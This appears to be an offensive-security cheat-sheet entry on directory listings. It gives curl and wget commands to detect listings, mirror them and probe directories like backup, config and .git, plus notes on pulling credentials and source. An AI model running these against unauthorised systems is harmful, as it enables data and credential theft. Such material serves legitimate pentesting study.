A directory listing is the automatic index a web server renders for a directory that has no index file (or where autoindex is explicitly on). It exposes every file and subdirectory by name, which is a reconnaissance gift: files never linked from the application, backups, .bak and .old copies, configuration, source archives, and logs, all become visible and downloadable. Mapping the listed tree finds the sensitive files to pull and the upload or dynamic endpoints to attack.
# detect and walk listings
curl -s http://<target>/ # "Index of /" or a file-server UI => listing
# recursively mirror a listed tree
wget -r -np -R 'index.html*' http://<target>/
# force/confirm listing on specific directories (dropping the index file name)
for d in backup old uploads config .git includes; do
curl -s -o /dev/null -w "%{http_code} $d/\n" http://<target>/$d/; done
Exploitation notes#
- Prioritise by name:
backup,old,.bak/.oldsuffixes,config,.git,uploads, and archive files (.zip,.tar.gz,.sql) are the high-value finds a listing reveals. - A listing that exposes
.git/enables full source recovery (dump the repo), and exposed.sql/backup files give data and credentials offline. - Even where the app links no listing, individual directories may still autoindex; probe likely directory names directly.
- The listing is the map for the other attacks: it locates the writable upload directory (File upload to RCE) and shows the structure to aim traversal at (Path traversal).